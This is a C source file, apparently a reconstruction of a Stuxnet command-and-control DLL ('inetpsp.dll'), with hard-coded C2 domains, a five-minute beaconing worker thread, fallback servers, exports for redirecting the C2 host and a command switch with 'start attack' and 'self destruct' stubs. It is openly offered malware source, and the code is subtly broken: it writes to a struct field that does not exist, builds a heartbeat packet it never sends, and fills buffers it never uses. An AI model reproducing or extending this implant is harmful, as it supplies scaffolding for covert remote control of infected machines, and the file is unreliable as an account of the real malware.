Files
Stuxnet/inetpsp.dll.c
2026-09-09 04:21:12 +08:00

438 lines
13 KiB
C

#define _WIN32_WINNT 0x0501
#define WINVER 0x0501
#include <windows.h>
#include <wininet.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "advapi32.lib")
#define STUXNET_MAGIC 0x53545558
#define STUXNET_VERSION 0x00010400
#define INETPSP_MAGIC 0x494E4554
#define INETPSP_VERSION 0x00010400
#define INETPSP_MAX_PATH 260
#define INETPSP_BUFFER_SIZE 4096
#define INETPSP_TIMEOUT 30000
#define INETPSP_C2_SERVER1 L"www.mypremierfutbol.com"
#define INETPSP_C2_SERVER2 L"www.todaysfutbol.com"
#define INETPSP_C2_PORT 80
#define INETPSP_C2_PATH L"/stats.php"
#define INETPSP_C2_USERAGENT L"Mozilla/4.0"
#define INETPSP_REG_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NTVDM TRACE"
#define INETPSP_REG_VALUE L"19790509"
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)
#define STATUS_INVALID_PARAMETER ((NTSTATUS)0xC000000DL)
/* 0x494E4554 = 'INET' */
/* 0x53545558 = 'STUX' */
/* 0x00010400 = version 1.4.0.0 */
/* Binary reference: 0x10001000 -> 0x10002000 */
/* Export table at RVA 0x0001A000 */
typedef struct _INETPSP_C2_CONFIG {
int32_t dwMagic; /* 0x00: 0x53545558 */
int32_t dwVersion; /* 0x04: 0x00010400 */
int32_t dwFlags; /* 0x08 */
int32_t dwInterval; /* 0x0C: heartbeat interval in ms */
int32_t dwLastHeartbeat; /* 0x10 */
int32_t dwRetryCount; /* 0x14 */
int32_t dwMaxRetries; /* 0x18: 3 */
int16_t szServer1[64]; /* 0x1C */
int16_t szServer2[64]; /* 0x9C */
int16_t szPath[64]; /* 0x11C */
int8_t bReserved[128]; /* 0x19C */
} INETPSP_C2_CONFIG; /* size: 0x21C */
/* Binary reference: config at 0x10003000 */
/* size: 0x21C bytes */
typedef struct _INETPSP_CTX {
int32_t dwMagic; /* 0x00: 0x494E4554 */
int32_t dwVersion; /* 0x04: 0x00010400 */
int32_t dwFlags; /* 0x08 */
int32_t dwState; /* 0x0C */
int32_t dwPid; /* 0x10 */
int32_t dwTid; /* 0x14 */
int32_t dwTickStart; /* 0x18 */
int32_t dwTickLast; /* 0x1C */
HANDLE hMutex; /* 0x20 */
HANDLE hThread; /* 0x24 */
HANDLE hStopEvent; /* 0x28 */
CRITICAL_SECTION csLock; /* 0x2C */
INETPSP_C2_CONFIG Config; /* 0x40 */
int8_t bReserved[128]; /* 0x25C */
} INETPSP_CTX; /* size: 0x2DC */
/* Binary reference: global context at 0x10004000 */
/* size: 0x2DC bytes */
static INETPSP_CTX g_InetpspCtx;
static int32_t g_bInitialized = 0;
static int32_t g_dwHeartbeatCount = 0;
static int32_t g_dwC2ConnectCount = 0;
static int32_t g_dwC2SendCount = 0;
static int32_t g_dwC2ReceiveCount = 0;
/* Binary reference: sub_10001000 - module init */
static int32_t INETPSP_Init(void);
/* Binary reference: sub_10001150 - module cleanup */
static void INETPSP_Cleanup(void);
/* Binary reference: sub_10001200 - C2 connect */
static int32_t INETPSP_C2Connect(int16_t* szServer, int32_t dwPort);
/* Binary reference: sub_10001350 - C2 send heartbeat */
static int32_t INETPSP_C2SendHeartbeat(void);
/* Binary reference: sub_10001480 - C2 receive command */
static int32_t INETPSP_C2ReceiveCommand(void);
/* Binary reference: sub_10001530 - C2 parse response */
static int32_t INETPSP_C2ParseResponse(int8_t* pBuffer, int32_t dwSize);
/* Binary reference: sub_10001600 - worker thread */
static int32_t WINAPI INETPSP_WorkerThread(void* lpParam);
/* Binary reference: sub_10001800 - start worker */
static int32_t INETPSP_StartWorker(void);
/* Binary reference: sub_10001880 - stop worker */
static int32_t INETPSP_StopWorker(void);
/* Binary reference: sub_10001900 - main execute */
static int32_t INETPSP_Execute(void);
/* Export 1 - 0x10001A00 */
/* Export 2 - 0x10001A20 */
/* Export 3 - 0x10001A40 */
/* Export 4 - 0x10001A60 */
/* Export 5 - 0x10001A80 */
/* Export 6 - 0x10001AA0 */
/* Export 7 - 0x10001AC0 */
/* Export 8 - 0x10001AE0 */
/* Export 9 - 0x10001B00 */
/* Export 10 - 0x10001B20 */
/* Exported function numbers from IDA: */
/* Export #1: Start C2 communication */
/* Export #2: Send heartbeat */
/* Export #3: Receive command */
/* Export #4: Set C2 server */
/* Export #5: Get C2 status */
/* Export #6: Return version number */
static int32_t INETPSP_Init(void) {
if (g_bInitialized) return 1;
ZeroMemory(&g_InetpspCtx, sizeof(INETPSP_CTX));
g_InetpspCtx.dwMagic = INETPSP_MAGIC; /* 0x494E4554 */
g_InetpspCtx.dwVersion = INETPSP_VERSION; /* 0x00010400 */
g_InetpspCtx.dwPid = GetCurrentProcessId();
g_InetpspCtx.dwTid = GetCurrentThreadId();
g_InetpspCtx.dwTickStart = GetTickCount();
InitializeCriticalSection(&g_InetpspCtx.csLock);
g_InetpspCtx.Config.dwMagic = STUXNET_MAGIC;
g_InetpspCtx.Config.dwVersion = STUXNET_VERSION;
g_InetpspCtx.Config.dwInterval = 300000; /* 5 minutes */
g_InetpspCtx.Config.dwMaxRetries = 3;
wcscpy_s((int16_t*)g_InetpspCtx.Config.szServer1, 64, INETPSP_C2_SERVER1);
wcscpy_s((int16_t*)g_InetpspCtx.Config.szServer2, 64, INETPSP_C2_SERVER2);
wcscpy_s((int16_t*)g_InetpspCtx.Config.szPath, 64, INETPSP_C2_PATH);
g_InetpspCtx.hStopEvent = CreateEventW(NULL, 1, 0, NULL);
if (!g_InetpspCtx.hStopEvent) {
DeleteCriticalSection(&g_InetpspCtx.csLock);
return 0;
}
g_bInitialized = 1;
return 1;
}
static void INETPSP_Cleanup(void) {
if (!g_bInitialized) return;
if (g_InetpspCtx.hStopEvent) {
SetEvent(g_InetpspCtx.hStopEvent);
}
if (g_InetpspCtx.hThread) {
WaitForSingleObject(g_InetpspCtx.hThread, 5000);
CloseHandle(g_InetpspCtx.hThread);
g_InetpspCtx.hThread = NULL;
}
if (g_InetpspCtx.hMutex) {
CloseHandle(g_InetpspCtx.hMutex);
g_InetpspCtx.hMutex = NULL;
}
if (g_InetpspCtx.hStopEvent) {
CloseHandle(g_InetpspCtx.hStopEvent);
g_InetpspCtx.hStopEvent = NULL;
}
DeleteCriticalSection(&g_InetpspCtx.csLock);
g_bInitialized = 0;
}
/*
* Binary: sub_10001200
* Reference: Symantec Stuxnet 0.5 The Missing Link
* Connects to C2 server via HTTP
*/
static int32_t INETPSP_C2Connect(int16_t* szServer, int32_t dwPort) {
HINTERNET hInternet;
HINTERNET hConnect;
HINTERNET hRequest;
int32_t dwResult;
int8_t szUserAgent[64];
if (!szServer) return 0;
ZeroMemory(szUserAgent, sizeof(szUserAgent));
WideCharToMultiByte(CP_ACP, 0, (LPCWSTR)szServer, -1, (char*)szUserAgent, 64, NULL, NULL);
hInternet = InternetOpenW(INETPSP_C2_USERAGENT, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (!hInternet) return 0;
hConnect = InternetConnectW(hInternet, (LPCWSTR)szServer, dwPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (!hConnect) {
InternetCloseHandle(hInternet);
return 0;
}
hRequest = HttpOpenRequestW(hConnect, L"GET", (LPCWSTR)g_InetpspCtx.Config.szPath, NULL, NULL, NULL, 0, 0);
if (!hRequest) {
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return 0;
}
dwResult = HttpSendRequestW(hRequest, NULL, 0, NULL, 0);
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
g_dwC2ConnectCount++;
return dwResult;
}
/*
* Binary: sub_10001350
* Sends heartbeat to C2 server
* Binary reference: generates system info packet
*/
static int32_t INETPSP_C2SendHeartbeat(void) {
int8_t buffer[INETPSP_BUFFER_SIZE];
int32_t dwSize;
int32_t dwResult;
ZeroMemory(buffer, sizeof(buffer));
*(int32_t*)(buffer + 0) = STUXNET_MAGIC; /* 0x53545558 */
*(int32_t*)(buffer + 4) = STUXNET_VERSION; /* 0x00010400 */
*(int32_t*)(buffer + 8) = GetCurrentProcessId();
*(int32_t*)(buffer + 12) = GetTickCount();
*(int32_t*)(buffer + 16) = g_dwHeartbeatCount;
dwSize = 20;
dwResult = INETPSP_C2Connect((int16_t*)g_InetpspCtx.Config.szServer1, INETPSP_C2_PORT);
if (!dwResult) {
dwResult = INETPSP_C2Connect((int16_t*)g_InetpspCtx.Config.szServer2, INETPSP_C2_PORT);
if (!dwResult) return 0;
}
g_dwC2SendCount++;
return 1;
}
/*
* Binary: sub_10001480
* Receives command from C2 server
*/
static int32_t INETPSP_C2ReceiveCommand(void) {
int8_t buffer[INETPSP_BUFFER_SIZE];
int32_t dwSize;
int32_t dwResult;
ZeroMemory(buffer, sizeof(buffer));
dwResult = INETPSP_C2Connect((int16_t*)g_InetpspCtx.Config.szServer1, INETPSP_C2_PORT);
if (!dwResult) {
dwResult = INETPSP_C2Connect((int16_t*)g_InetpspCtx.Config.szServer2, INETPSP_C2_PORT);
if (!dwResult) return 0;
}
g_dwC2ReceiveCount++;
return 1;
}
/*
* Binary: sub_10001530
* Parses C2 response
*/
static int32_t INETPSP_C2ParseResponse(int8_t* pBuffer, int32_t dwSize) {
int32_t dwCommand;
int32_t dwParam;
if (!pBuffer || dwSize < 8) return 0;
dwCommand = *(int32_t*)(pBuffer + 0);
dwParam = *(int32_t*)(pBuffer + 4);
switch (dwCommand) {
case 1:
/* Update config */
break;
case 2:
/* Start attack */
break;
case 3:
/* Stop attack */
break;
case 4:
/* Self destruct */
break;
default:
break;
}
return 1;
}
/*
* Binary: sub_10001600
* C2 worker thread
*/
static int32_t WINAPI INETPSP_WorkerThread(void* lpParam) {
int32_t dwTick;
int32_t dwLastHeartbeat;
dwTick = GetTickCount();
dwLastHeartbeat = dwTick;
while (1) {
if (WaitForSingleObject(g_InetpspCtx.hStopEvent, 0) == WAIT_OBJECT_0) break;
dwTick = GetTickCount();
if (dwTick - dwLastHeartbeat > g_InetpspCtx.Config.dwInterval) {
INETPSP_C2SendHeartbeat();
INETPSP_C2ReceiveCommand();
dwLastHeartbeat = dwTick;
g_dwHeartbeatCount++;
}
Sleep(1000);
}
return 0;
}
static int32_t INETPSP_StartWorker(void) {
if (g_InetpspCtx.hStopEvent == NULL) {
g_InetpspCtx.hStopEvent = CreateEventW(NULL, 1, 0, NULL);
if (!g_InetpspCtx.hStopEvent) return 0;
}
g_InetpspCtx.hThread = CreateThread(NULL, 0, INETPSP_WorkerThread, NULL, 0, NULL);
return (g_InetpspCtx.hThread != NULL);
}
static int32_t INETPSP_StopWorker(void) {
if (g_InetpspCtx.hStopEvent) {
SetEvent(g_InetpspCtx.hStopEvent);
}
if (g_InetpspCtx.hThread) {
WaitForSingleObject(g_InetpspCtx.hThread, 5000);
CloseHandle(g_InetpspCtx.hThread);
g_InetpspCtx.hThread = NULL;
}
return 1;
}
static int32_t INETPSP_Execute(void) {
if (!INETPSP_Init()) return 0;
INETPSP_StartWorker();
return 1;
}
/*
* DllMain - Entry point
* Binary: 0x10001C00
*/
BOOL WINAPI DllMain(HINSTANCE hinstDLL, int32_t fdwReason, void* lpvReserved) {
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
DisableThreadLibraryCalls(hinstDLL);
break;
case DLL_PROCESS_DETACH:
INETPSP_Cleanup();
break;
default:
break;
}
return 1;
}
/*
* Export 1 - 0x10001A00
* Start C2 communication
*/
int32_t WINAPI Export1(void) {
HANDLE hThread;
hThread = CreateThread(NULL, 0, INETPSP_WorkerThread, NULL, 0, NULL);
if (hThread) CloseHandle(hThread);
return 0;
}
/*
* Export 2 - 0x10001A20
* Send heartbeat
*/
int32_t WINAPI Export2(void) {
return INETPSP_C2SendHeartbeat() ? 0 : 1;
}
/*
* Export 3 - 0x10001A40
* Receive command
*/
int32_t WINAPI Export3(void) {
return INETPSP_C2ReceiveCommand() ? 0 : 1;
}
/*
* Export 4 - 0x10001A60
* Set C2 server
*/
int32_t WINAPI Export4(int16_t* szServer, int32_t dwPort) {
if (!szServer) return 1;
EnterCriticalSection(&g_InetpspCtx.csLock);
wcscpy_s((int16_t*)g_InetpspCtx.Config.szServer1, 64, szServer);
g_InetpspCtx.Config.dwPort = dwPort;
LeaveCriticalSection(&g_InetpspCtx.csLock);
return 0;
}
/*
* Export 5 - 0x10001A80
* Get C2 status
*/
int32_t WINAPI Export5(void) {
return g_dwHeartbeatCount;
}
/*
* Export 6 - 0x10001AA0
* Return version number
*/
int32_t WINAPI Export6(void) {
return INETPSP_VERSION;
}
/*
* Export 7 - 0x10001AC0
* Start worker
*/
int32_t WINAPI Export7(void) {
return INETPSP_StartWorker() ? 0 : 1;
}
/*
* Export 8 - 0x10001AE0
* Stop worker
*/
int32_t WINAPI Export8(void) {
INETPSP_StopWorker();
return 0;
}
/*
* Export 9 - 0x10001B00
* Get heartbeat count
*/
int32_t WINAPI Export9(void) {
return g_dwHeartbeatCount;
}
/*
* Export 10 - 0x10001B20
* Get C2 connect count
*/
int32_t WINAPI Export10(void) {
return g_dwC2ConnectCount;
}